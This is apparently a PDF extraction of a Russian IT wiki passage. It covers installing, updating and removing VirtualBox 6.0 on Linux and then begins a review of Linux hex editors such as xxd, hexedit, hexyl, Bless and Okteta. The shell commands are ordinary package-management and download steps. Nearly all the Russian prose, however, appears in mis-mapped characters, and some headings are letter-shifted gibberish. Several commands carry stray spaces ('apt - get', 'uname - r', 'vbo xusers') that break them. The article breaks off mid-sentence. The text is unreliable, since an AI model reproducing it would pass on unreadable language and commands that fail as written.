ɽʩʣʠ ʚʳʰʝʫʢʘʟʘʥʥʳʡ ʧʨʦʮʝʩʩ ʩʙʦʨʢʠ ʟʘʚʝʨʰʠʪʩʷ ʥʝʫʜʘʯʥʦ, ʚʳ ʧʦʣʫʯʠʪʝ 

ʧʨʝʜʫʧʨʝʞʜʘʶʱʠʝ ʩʦʦʙʱʝʥʠʷ, ʧʦʜʦʙʥʳʝ ʧʨʠʚʝʜʝʥʥʳʤ ʥʠʞʝ. 

vboxdrv . sh :  Stopping  VirtualBox  services .  

vboxdrv . sh :  Starting  VirtualBox  services .  

vboxdrv . sh :  Building  VirtualBox  kernel modules .  

This  system is  currently not  set  up to build kernel modules .  

Please  install the Linux  kernel "header"  files matching the current kernel  

for  adding new hardware support to the system .  

The distribution packages containing the headers are probably :  

    kernel - devel kernel - devel - 4.19 . 0- 1.el7.elrepo . x86_64  

ɺ ʵʪʦʤ ʩʣʫʯʘʝ ʚʘʤ ʥʫʞʥʦ ʩʥʘʯʘʣʘ ʧʨʦʚʝʨʠʪʴ ʚʘʰʝ ʫʩʪʘʥʦʚʣʝʥʥʦʝ ʷʜʨʦ, ʘ ʟʘʪʝʤ 

ʫʩʪʘʥʦʚʠʪʴ ʥʫʞʥʳʝ kernel-devel, ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ. 

ɺʥʠʤʘʥʠʝ: ʚ ʢʦʤʘʥʜʝ CURRENT_KERNEL ʥʫʞʥʦ ʟʘʤʝʥʠʪʴ ʥʘ ʪʦ, ʯʪʦ ʚʳ ʧʦʣʫʯʠʪʝ, 

ʚʳʧʦʣʥʠʚ ʢʦʤʘʥʜʳ uname -r 

# uname - r  

https://wiki.merionet.ru/
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# yum install kernel - devel - CURRENT_KERNEL 

ɿʘʪʝʤ ʟʘʤʝʥʠʪʝ user_name ʚ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʝ ʚʘʰʠʤ ʩʦʙʩʪʚʝʥʥʳʤ ʠʤʝʥʝʤ 

ʧʦʣʴʟʦʚʘʪʝʣʷ. 

# usermod - a - G vbo xusers user_name  

ʊʨʘʙʣʰʫʪʠʥʛ 

ɽʩʣʠ ʚʳ ʧʦʣʫʯʠʣʠ ʢʘʢʦʝ-ʣʠʙʦ ʩʦʦʙʱʝʥʠʝ ʦʙ ʦʰʠʙʢʝ, ʥʘʧʨʠʤʝʨ, KERN_DIR, ʠʣʠ 

ʝʩʣʠ ʚʘʰ ʠʩʭʦʜʥʳʡ ʢʘʪʘʣʦʛ ʷʜʨʘ ʥʝ ʙʳʣ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʦʙʥʘʨʫʞʝʥ ʧʨʦʮʝʩʩʦʤ 

ʩʙʦʨʢʠ, ʚʳ ʤʦʞʝʪʝ ʫʩʪʘʥʦʚʠʪʴ ʝʛʦ ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ. ʋʙʝʜʠʪʝʩʴ, 

ʯʪʦ ʚʳ ʠʟʤʝʥʠʣʠ ʚʝʨʩʠʶ ʷʜʨʘ ʚ ʩʦʦʪʚʝʪʩʪʚʠʠ ʩ ʚʘʰʝʡ ʩʠʩʪʝʤʦʡ, ʢʘʢ ʧʦʢʘʟʘʥʦ 

ʥʠʞʝ. 

KERN_DIR=/usr/ src / kernels / 4.19 . 0- 1.el7.elrepo . x86_64  

export  KERN_DIR 

 

ɋɉɊȿɅɆɁȺȿ WKTUVCNDQY 802 Ɂ FGDKCP. VDVPUV ȼ NKPVY OKPU 

ʉʥʘʯʘʣʘ ʫʜʘʣʠʪʝ ʣʶʙʫʶ ʙʦʣʝʝ ʨʘʥʥʶʶ ʚʝʨʩʠʶ Virtualbox, ʝʩʣʠ ʪʘʢʦʚʘʷ ʠʤʝʝʪʩʷ. 

$ sudo apt - get  remove virtualbox - *  

ɿʘʪʝʤ ʫʩʪʘʥʦʚʠʪʝ ʧʦʩʣʝʜʥʶʶ ʚʝʨʩʠʶ VirtualBox 6.0, ʠʩʧʦʣʴʟʫʷ ʦʬʠʮʠʘʣʴʥʳʡ 

ʨʝʧʦʟʠʪʦʨʠʡ Virtualbox. ʏʪʦʙʳ ʜʦʙʘʚʠʪʴ ʨʝʧʦʟʠʪʦʨʠʡ, ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

https://wiki.merionet.ru/
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$ sudo sh - c 'echo "deb  http://download.virtualbox.org/virtualbox/debian  

$(lsb_release - cs) contrib" >> /etc/apt/sources.list.d/virtualbox.list'  

$ wget - q https :// www.virtualbox.org/download/oracle_vbox.asc  - O-  | sudo apt -

key add -  

$ sudo apt - get  update  

$ sudo apt - get  install virtualbox - 6.0  

 

ɡȿɇɋɉȺ WKTUVCNDQY 802 

ʇʨʦʩʪʦ ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ, ʯʪʦʙʳ ʟʘʧʫʩʪʠʪʴ ʝʝ ʠʟ ʪʝʨʤʠʥʘʣʘ, ʠʣʠ 

ʠʩʧʦʣʴʟʫʡʪʝ ʧʘʥʝʣʴ ʟʘʧʫʩʢʘ ʠʟ ʤʝʥʶ ʜʣʷ ʟʘʧʫʩʢʘ VirtualBox. 

# VirtualBox  

https://wiki.merionet.ru/
http://download.virtualbox.org/virtualbox/debian
http://download.virtualbox.org/virtualbox/debian
http://www.virtualbox.org/download/oracle_vbox.asc
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ɋɉɊȿɅɆɁȺȿ ɇȿȺɂɊȿ ɈȿɉɐȼɈɂɅȼɢ WKTUVCNDQY 

ɽʩʣʠ ʚʘʤ ʥʫʞʥʳ ʜʦʧʦʣʥʠʪʝʣʴʥʳʝ ʬʫʥʢʮʠʠ, ʪʘʢʠʝ ʢʘʢ VirtualBox RDP, PXE, ROM ʩ 

ʧʦʜʜʝʨʞʢʦʡ E1000 ʠ ʭʦʩʪ-ʢʦʥʪʨʦʣʣʝʨʦʤ USB 2.0 ʠ ʪ. ɼ. ɺʘʤ ʥʝʦʙʭʦʜʠʤʦ ʟʘʛʨʫʟʠʪʴ 

ʠ ʫʩʪʘʥʦʚʠʪʴ ʧʘʢʝʪ ʨʘʩʰʠʨʝʥʠʡ VirtualBox ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ wget. 

# # wget  

http://download.virtualbox.org/virtualbox/6.0.0/Oracle_VM_VirtualBox_Extensio

n_Pack - 6.0.0.vbox - extpack  

ʏʪʦʙʳ ʫʩʪʘʥʦʚʠʪʴ ʧʘʢʝʪ ʨʘʩʰʠʨʝʥʠʡ, ʧʦʩʣʝ ʪʦʛʦ, ʢʘʢ ʚʳ ʟʘʛʨʫʟʠʣʠ vbox-extpack, 

ʦʪʢʨʦʡʪʝ ʝʛʦ ʧʨʠ ʧʦʤʦʱʠ Virtualbox, ʢʘʢ ʧʦʢʘʟʘʥʦ ʥʠʞʝ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-virtualbox-6-na-linux/2.png
https://wiki.merionet.ru/images/ustanovka-virtualbox-6-na-linux/2.png
http://download.virtualbox.org/virtualbox/6.0.0/Oracle_VM_VirtualBox_Extension_Pack-6.0.0.vbox-extpack
http://download.virtualbox.org/virtualbox/6.0.0/Oracle_VM_VirtualBox_Extension_Pack-6.0.0.vbox-extpack
http://download.virtualbox.org/virtualbox/6.0.0/Oracle_VM_VirtualBox_Extension_Pack-6.0.0.vbox-extpack
http://download.virtualbox.org/virtualbox/6.0.0/Oracle_VM_VirtualBox_Extension_Pack-6.0.0.vbox-extpack
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ɽʩʣʠ ʵʪʦ ʥʝ ʩʨʘʙʦʪʘʝʪ, ʦʪʢʨʦʡʪʝ Virtaulbox - çʅʘʩʪʨʦʡʢʠè - çʈʘʩʰʠʨʝʥʠʷè ʠ 

ʥʘʡʜʠʪʝ vbox-extpack ʜʣʷ ʝʛʦ ʫʩʪʘʥʦʚʢʠ. 

 

 

ɆɀɅɆɁɣɂɅȼɂ WKTUVCNDQY 

ɽʩʣʠ ʚʳ ʭʦʪʠʪʝ ʦʙʥʦʚʠʪʴ VirtualBox ʜʦ ʧʦʩʣʝʜʥʝʡ ʚʝʨʩʠʠ ʚ ʙʫʜʫʱʝʤ, ʚʳ ʤʦʞʝʪʝ 

ʧʨʦʩʪʦ ʟʘʧʫʩʪʠʪʴ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ, ʯʪʦʙʳ ʦʙʥʦʚʠʪʴ ʝʛʦ. 

ʅʘ RHEL/CentOS/Fedora 

# yum update VirtualBox - 6.0  

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/ustanovka-virtualbox-6-na-linux/3.PNG
https://wiki.merionet.ru/images/ustanovka-virtualbox-6-na-linux/3.PNG
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ʅʘ Ubuntu/Linux Mint 

# apt - get install VirtualBox - 6.0  

 

ɋɠȿɣɂɅȼɂ WKTUVCNDQY 

ɽʩʣʠ ʚʳ ʭʦʪʠʪʝ ʧʦʣʥʦʩʪʴʶ ʫʜʘʣʠʪʴ VirtualBox, ʧʨʦʩʪʦ ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ 

ʢʦʤʘʥʜʫ, ʯʪʦʙʳ ʧʦʣʥʦʩʪʴʶ ʫʜʘʣʠʪʴ ʝʛʦ ʠʟ ʚʘʰʝʡ ʩʠʩʪʝʤʳ. 

ʅʘ RHEL/CentOS/Fedora 

# cd /etc/yum.repos.d/  

# rm - rf virtualbox.repo  

# yum remove VirtualBox - 6.0  

ʅʘ Ubuntu/Linux Mint 

# apt - get remove VirtualBox - 6.0  

ɺʳ ʪʘʢʞʝ ʤʦʞʝʪʝ ʩʢʘʯʘʪʴ VirtualBox 6.0 ʜʣʷ ʜʨʫʛʠʭ ʧʣʘʪʬʦʨʤ Linux, Windows ʠ 

Mac OS X ʩ ʦʬʠʮʠʘʣʴʥʦʛʦ ʩʘʡʪʘ. 

 

 

https://wiki.merionet.ru/
https://www.virtualbox.org/wiki/Downloads
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ǳțȟȠȐȍ HEX ɀ ȘȍȌȈȒȚȖȘȣ Ȍȓȧ Linux 

ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʨʘʩʩʤʦʪʨʠʤ ʪʦʧ ʣʫʯʰʠʭ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʦʚ ʜʣʷ 

Linux. ʅʦ ʧʨʝʞʜʝ ʯʝʤ ʤʳ ʥʘʯʥʝʤ, ʜʘʚʘʡʪʝ ʧʦʩʤʦʪʨʠʤ ʥʘ ʪʦ, ʯʪʦ ʥʘ ʩʘʤʦʤ ʜʝʣʝ 

ʷʚʣʷʝʪʩʷ hex-ʨʝʜʘʢʪʦʨʦʤ. 

ɏɊɆ ɊȿȺɆɂ JGY-ɈɂɠȿȺɊɆɈ 

Hex-ʨʝʜʘʢʪʦʨ, ʠʣʠ ʧʨʦʱʝ ʛʦʚʦʨʷ, ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʨʝʜʘʢʪʦʨ ʧʦʟʚʦʣʷʝʪ ʚʘʤ 

ʧʨʦʩʤʘʪʨʠʚʘʪʴ ʠ ʨʝʜʘʢʪʠʨʦʚʘʪʴ ʜʚʦʠʯʥʳʝ ʬʘʡʣʳ. ʈʘʟʥʠʮʘ ʤʝʞʜʫ ʦʙʳʯʥʳʤ 

ʪʝʢʩʪʦʚʳʤ ʨʝʜʘʢʪʦʨʦʤ ʠ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʤ ʨʝʜʘʢʪʦʨʦʤ ʟʘʢʣʶʯʘʝʪʩʷ ʚ ʪʦʤ, ʯʪʦ 

ʦʙʳʯʥʳʡ ʨʝʜʘʢʪʦʨ ʧʨʝʜʩʪʘʚʣʷʝʪ ʣʦʛʠʯʝʩʢʦʝ ʩʦʜʝʨʞʠʤʦʝ ʬʘʡʣʘ, ʪʦʛʜʘ ʢʘʢ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʨʝʜʘʢʪʦʨ ʧʨʝʜʩʪʘʚʣʷʝʪ ʬʠʟʠʯʝʩʢʦʝ ʩʦʜʝʨʞʠʤʦʝ ʬʘʡʣʘ. 

 

ȺɊɆ ȼɉɇɆɣɔɡɋɂɊ JGY-ɈɂɠȿȺɊɆɈɓ 

ʐʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʝ ʨʝʜʘʢʪʦʨʳ ʠʩʧʦʣʴʟʫʶʪʩʷ ʜʣʷ ʨʝʜʘʢʪʠʨʦʚʘʥʠʷ ʦʪʜʝʣʴʥʳʭ 

ʙʘʡʪʦʚ ʜʘʥʥʳʭ ʠ ʚ ʦʩʥʦʚʥʦʤ ʠʩʧʦʣʴʟʫʶʪʩʷ ʧʨʦʛʨʘʤʤʠʩʪʘʤʠ ʠʣʠ ʩʠʩʪʝʤʥʳʤʠ 

ʘʜʤʠʥʠʩʪʨʘʪʦʨʘʤʠ. ʅʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ ʨʘʩʧʨʦʩʪʨʘʥʝʥʥʳʭ ʩʣʫʯʘʝʚ - ʵʪʦ 

ʦʪʣʘʜʢʘ ʠʣʠ ʦʙʨʘʪʥʘʷ ʠʥʞʝʥʝʨʠʷ (reverse engineering) ʜʚʦʠʯʥʳʭ ʧʨʦʪʦʢʦʣʦʚ 

ʩʚʷʟʠ. ʂʦʥʝʯʥʦ, ʝʩʪʴ ʤʥʦʛʦ ʜʨʫʛʠʭ ʚʝʱʝʡ, ʢʦʪʦʨʳʝ ʚʳ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ ʚ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʘʭ - ʥʘʧʨʠʤʝʨ, ʧʨʦʩʤʦʪʨ ʬʘʡʣʦʚ ʩ ʥʝʠʟʚʝʩʪʥʳʤ 

ʬʦʨʤʘʪʦʤ ʬʘʡʣʘ, ʚʳʧʦʣʥʝʥʠʝ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʛʦ ʩʨʘʚʥʝʥʠʷ, ʧʨʦʩʤʦʪʨ ʜʘʤʧʘ 

ʧʘʤʷʪʠ ʧʨʦʛʨʘʤʤʳ ʠ ʜʨʫʛʦʝ. 

https://wiki.merionet.ru/
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ɹʦʣʴʰʠʥʩʪʚʦ ʠʟ ʫʧʦʤʷʥʫʪʳʭ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʦʚ ʜʦʩʪʫʧʥʳ ʜʣʷ 

ʫʩʪʘʥʦʚʢʠ ʠʟ ʨʝʧʦʟʠʪʦʨʠʷ ʧʦ ʫʤʦʣʯʘʥʠʶ ʩ ʧʦʤʦʱʴʶ ʜʠʩʧʝʪʯʝʨʘ ʧʘʢʝʪʦʚ ʚʘʰʝʛʦ 

ʜʠʩʪʨʠʙʫʪʠʚʘ, ʥʘʧʨʠʤʝʨ: 

# yum install package       [ʅʘ CentOS] 

# dnf install package       [ʅʘ Fedora] 

# apt install package       [ʅʘ Debian/Ubuntu] 

# zypper install package    [ʅʘ OpenSuse] 

# pacman -Ss package        [ʅʘ Arch Linux] 

ɽʩʣʠ ʧʘʢʝʪ ʥʝʜʦʩʪʫʧʝʥ, ʧʝʨʝʡʜʠʪʝ ʥʘ ʚʝʙ-ʩʘʡʪ ʢʘʞʜʦʛʦ ʠʥʩʪʨʫʤʝʥʪʘ, ʛʜʝ ʚʳ 

ʩʤʦʞʝʪʝ ʧʦʣʫʯʠʪʴ ʦʪʜʝʣʴʥʳʡ ʧʘʢʝʪ ʜʣʷ ʧʨʦʮʝʜʫʨ ʟʘʛʨʫʟʢʠ ʠ ʫʩʪʘʥʦʚʢʠ, ʘ ʪʘʢʞʝ 

ʧʦʜʨʦʙʥʫʶ ʠʥʬʦʨʤʘʮʠʶ ʦ ʟʘʚʠʩʠʤʦʩʪʷʭ. 

 

XXD HEX EDITOR 

ɹʦʣʴʰʠʥʩʪʚʦ (ʝʩʣʠ ʥʝ ʚʩʝ) ʜʠʩʪʨʠʙʫʪʠʚʦʚ Linux ʧʦʩʪʘʚʣʷʶʪʩʷ ʩ ʨʝʜʘʢʪʦʨʦʤ, 

ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ ʚʳʧʦʣʥʷʪʴ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʝ ʠ ʜʚʦʠʯʥʳʝ ʤʘʥʠʧʫʣʷʮʠʠ. 

ʆʜʥʠʤ ʠʟ ʪʘʢʠʭ ʠʥʩʪʨʫʤʝʥʪʦʚ ʷʚʣʷʝʪʩʷ ʠʥʩʪʨʫʤʝʥʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ - xxd, 

ʥʘʠʙʦʣʝʝ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʡ ʜʣʷ ʩʦʟʜʘʥʠʷ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʛʦ ʜʘʤʧʘ ʜʘʥʥʦʛʦ 

ʬʘʡʣʘ ʠʣʠ ʩʪʘʥʜʘʨʪʥʦʛʦ ʚʚʦʜʘ. ʆʥ ʪʘʢʞʝ ʤʦʞʝʪ ʢʦʥʚʝʨʪʠʨʦʚʘʪʴ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʜʘʤʧ ʦʙʨʘʪʥʦ ʚ ʠʩʭʦʜʥʫʶ ʜʚʦʠʯʥʫʶ ʬʦʨʤʫ. 

https://wiki.merionet.ru/
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HEXEDIT HEX EDITOR 

Hexedit - ʵʪʦ ʝʱʝ ʦʜʠʥ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʨʝʜʘʢʪʦʨ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ, ʢʦʪʦʨʳʡ 

ʫʞʝ ʤʦʞʝʪ ʙʳʪʴ ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʫʩʪʘʥʦʚʣʝʥ ʚ ʚʘʰʝʡ ʆʉ. Hexedit ʧʦʢʘʟʳʚʘʝʪ ʠ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʝ ʠ ASCII ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʬʘʡʣʘ ʦʜʥʦʚʨʝʤʝʥʥʦ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/1.jpg
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/1.jpg
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HEXYL HEX EDITOR 

ɼʨʫʛʦʡ ʧʦʣʝʟʥʳʡ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʧʨʦʚʝʨʢʠ ʜʚʦʠʯʥʦʛʦ ʬʘʡʣʘ - ʵʪʦ hexyl, ʧʨʦʩʪʦʡ 

ʧʨʦʩʤʦʪʨʱʠʢ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʜʘʥʥʳʭ ʜʣʷ ʪʝʨʤʠʥʘʣʘ Linux, ʢʦʪʦʨʳʡ 

ʠʩʧʦʣʴʟʫʝʪ ʮʚʝʪʥʦʡ ʚʳʚʦʜ ʜʣʷ ʦʧʨʝʜʝʣʝʥʠʷ ʨʘʟʣʠʯʥʳʭ ʢʘʪʝʛʦʨʠʡ ʙʘʡʪʦʚ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/2.jpg
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/2.jpg
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ɽʛʦ ʚʠʜ ʨʘʟʜʝʣʝʥ ʥʘ ʪʨʠ ʢʦʣʦʥʢʠ: 

ǒ ʉʤʝʱʝʥʥʳʡ ʩʪʦʣʙʝʮ, ʫʢʘʟʳʚʘʶʱʠʡ ʢʦʣʠʯʝʩʪʚʦ ʙʘʡʪʦʚ ʚ ʬʘʡʣʝ. 

ǒ ʐʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʩʪʦʣʙʝʮ, ʢʦʪʦʨʳʡ ʩʦʜʝʨʞʠʪ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʝ 

ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʬʘʡʣʘ. 

ǒ ʊʝʢʩʪʦʚʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʬʘʡʣʘ. 

ʋʩʪʘʥʦʚʢʘ ʵʪʦʛʦ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʛʦ ʚʴʶʝʨʘ ʨʘʟʣʠʯʥʘ ʜʣʷ ʨʘʟʥʳʭ ʦʧʝʨʘʮʠʦʥʥʳʭ 

ʩʠʩʪʝʤ, ʧʦʵʪʦʤʫ ʨʝʢʦʤʝʥʜʫʝʪʩʷ ʧʨʦʚʝʨʠʪʴ ʬʘʡʣ read-me ʚ ʧʨʦʝʢʪʝ, ʯʪʦʙʳ ʫʚʠʜʝʪʴ 

ʪʦʯʥʳʝ ʠʥʩʪʨʫʢʮʠʠ ʧʦ ʫʩʪʘʥʦʚʢʝ ʜʣʷ ʚʘʰʝʡ ʆʉ. ʉʩʳʣʢʘ ʥʘ GitHub. 

 

GHEX - GNOME HEX EDITOR 

Ghex - ʵʪʦ ʛʨʘʬʠʯʝʩʢʠʡ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʨʝʜʘʢʪʦʨ, ʢʦʪʦʨʳʡ ʧʦʟʚʦʣʷʝʪ 

ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʨʝʜʘʢʪʠʨʦʚʘʪʴ ʜʚʦʠʯʥʳʡ ʬʘʡʣ ʢʘʢ ʚ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʦʤ, ʪʘʢ ʠ ʚ 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/3.png
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/3.png
https://github.com/sharkdp/hexyl
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ASCII ʬʦʨʤʘʪʝ. ʆʥ ʠʤʝʝʪ ʤʥʦʛʦʫʨʦʚʥʝʚʳʡ ʤʝʭʘʥʠʟʤ ʦʪʤʝʥʳ ʠ ʧʦʚʪʦʨʘ, ʢʦʪʦʨʳʡ 

ʥʝʢʦʪʦʨʳʝ ʤʦʛʫʪ ʥʘʡʪʠ ʧʦʣʝʟʥʳʤ. ɽʱʝ ʦʜʥʘ ʧʦʣʝʟʥʘʷ ʬʫʥʢʮʠʷ - ʬʫʥʢʮʠʠ ʧʦʠʩʢʘ ʠ 

ʟʘʤʝʥʳ, ʘ ʪʘʢʞʝ ʧʨʝʦʙʨʘʟʦʚʘʥʠʝ ʜʚʦʠʯʥʳʭ, ʚʦʩʴʤʝʨʠʯʥʳʭ, ʜʝʩʷʪʠʯʥʳʭ ʠ 

ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʟʥʘʯʝʥʠʡ. 

 

 

BLESS HEX EDITOR 

ʆʜʥʠʤ ʠʟ ʥʘʠʙʦʣʝʝ ʧʨʦʜʚʠʥʫʪʳʭ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʦʚ ʚ ʵʪʦʡ ʩʪʘʪʴʝ 

ʷʚʣʷʝʪʩʷ Bless, ʧʦʭʦʞʠʡ ʥʘ Ghex, ʦʥ ʠʤʝʝʪ ʛʨʘʬʠʯʝʩʢʠʡ ʠʥʪʝʨʬʝʡʩ, ʢʦʪʦʨʳʡ 

ʧʦʟʚʦʣʷʝʪ ʨʝʜʘʢʪʠʨʦʚʘʪʴ ʙʦʣʴʰʠʝ ʬʘʡʣʳ ʜʘʥʥʳʭ ʩ ʤʥʦʛʦʫʨʦʚʥʝʚʳʤ ʤʝʭʘʥʠʟʤʦʤ 

ʦʪʤʝʥʳ/ʧʦʚʪʦʨʝʥʠʷ. ʆʥ ʪʘʢʞʝ ʠʤʝʝʪ ʥʘʩʪʨʘʠʚʘʝʤʳʝ ʧʨʝʜʩʪʘʚʣʝʥʠʷ ʜʘʥʥʳʭ, 

ʬʫʥʢʮʠʶ ʧʦʠʩʢʘ-ʟʘʤʝʥʳ ʠ ʤʥʦʛʦʧʦʪʦʯʥʳʝ ʦʧʝʨʘʮʠʠ ʧʦʠʩʢʘ ʠ ʩʦʭʨʘʥʝʥʠʷ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/4.png
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/4.png
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ʅʝʩʢʦʣʴʢʦ ʬʘʡʣʦʚ ʤʦʛʫʪ ʙʳʪʴ ʦʪʢʨʳʪʳ ʦʜʥʦʚʨʝʤʝʥʥʦ ʩ ʧʦʤʦʱʴʶ ʚʢʣʘʜʦʢ. 

ʌʫʥʢʮʠʦʥʘʣʴʥʦʩʪʴ ʪʘʢʞʝ ʤʦʞʝʪ ʙʳʪʴ ʨʘʩʰʠʨʝʥʘ ʩ ʧʦʤʦʱʴʶ ʧʣʘʛʠʥʦʚ. ʉʩʳʣʢʘ ʥʘ 

GitHub. 

 

 

OKTETA EDITOR 

Okteta - ʝʱʝ ʦʜʠʥ ʧʨʦʩʪʦʡ ʨʝʜʘʢʪʦʨ ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʬʘʡʣʦʚ ʥʝʦʙʨʘʙʦʪʘʥʥʳʭ 

ʜʘʥʥʳʭ. ʅʝʢʦʪʦʨʳʝ ʠʟ ʦʩʥʦʚʥʳʭ ʦʩʦʙʝʥʥʦʩʪʝʡ ʦʢʪʝʪʘ ʚʢʣʶʯʘʶʪ ʚ ʩʝʙʷ: 

ǒ ʈʘʟʣʠʯʥʳʝ ʧʨʝʜʩʪʘʚʣʝʥʠʷ ʩʠʤʚʦʣʦʚ - ʪʨʘʜʠʮʠʦʥʥʳʝ ʚ ʩʪʦʣʙʮʘʭ ʠʣʠ ʚ 

ʩʪʨʦʢʘʭ ʩʦ ʟʥʘʯʝʥʠʝʤ ʚʝʨʭʘ ʩʠʤʚʦʣʘ. 

ǒ ʈʝʜʘʢʪʠʨʦʚʘʥʠʝ ʘʥʘʣʦʛʠʯʥʦ ʪʝʢʩʪʦʚʦʤʫ ʨʝʜʘʢʪʦʨʫ. 

ǒ ʈʘʟʣʠʯʥʳʝ ʧʨʦʬʠʣʠ ʜʣʷ ʧʨʦʩʤʦʪʨʘ ʜʘʥʥʳʭ. 

ǒ ʅʝʩʢʦʣʴʢʦ ʦʪʢʨʳʪʳʭ ʬʘʡʣʦʚ. 

ǒ ʋʜʘʣʝʥʥʳʝ ʬʘʡʣʳ ʧʦ FTP ʠʣʠ HTTP. 

https://wiki.merionet.ru/
https://github.com/bwrsandman/Bless
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/5.png
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/5.png
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ʉʩʳʣʢʘ ʥʘ ʩʘʡʪ. 

 

 

WXHEXEDITOR 

wxHexEditor - ʝʱʝ ʦʜʠʥ ʠʟ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʭ ʨʝʜʘʢʪʦʨʦʚ Linux, ʦʙʣʘʜʘʶʱʠʡ 

ʥʝʢʦʪʦʨʳʤʠ ʨʘʩʰʠʨʝʥʥʳʤʠ ʬʫʥʢʮʠʷʤʠ. 

whHexEditor ʧʨʝʜʥʘʟʥʘʯʝʥ ʚ ʦʩʥʦʚʥʦʤ ʜʣʷ ʙʦʣʴʰʠʭ ʬʘʡʣʦʚ. ʆʥ ʨʘʙʦʪʘʝʪ ʙʳʩʪʨʝʝ 

ʩ ʙʦʣʴʰʠʤʠ ʬʘʡʣʘʤʠ, ʧʦʪʦʤʫ ʯʪʦ ʦʥ ʥʝ ʧʳʪʘʝʪʩʷ ʩʢʦʧʠʨʦʚʘʪʴ ʚʝʩʴ ʬʘʡʣ ʚ ʚʘʰʫ 

ʦʧʝʨʘʪʠʚʥʫʶ ʧʘʤʷʪʴ. ʆʥ ʠʤʝʝʪ ʥʠʟʢʦʝ ʧʦʪʨʝʙʣʝʥʠʝ ʧʘʤʷʪʠ ʠ ʤʦʞʝʪ 

ʧʨʦʩʤʘʪʨʠʚʘʪʴ ʥʝʩʢʦʣʴʢʦ ʬʘʡʣʦʚ ʦʜʥʦʚʨʝʤʝʥʥʦ. 

https://wiki.merionet.ru/
https://utils.kde.org/projects/okteta/
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/6.png
https://wiki.merionet.ru/images/luchshie-hex-redaktory-dlya-linux/6.png
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HEXCURSE - CONX HEX EDITOR 

Hexcurse - ʵʪʦ ʰʝʩʪʥʘʜʮʘʪʝʨʠʯʥʳʡ ʨʝʜʘʢʪʦʨ ʥʘ ʦʩʥʦʚʝ ncurses. ʆʥ ʤʦʞʝʪ 

ʦʪʢʨʳʚʘʪʴ, ʨʝʜʘʢʪʠʨʦʚʘʪʴ ʠ ʩʦʭʨʘʥʷʪʴ ʬʘʡʣʳ ʚ ʜʨʫʞʝʩʪʚʝʥʥʦʤ ʪʝʨʤʠʥʘʣʴʥʦʤ 

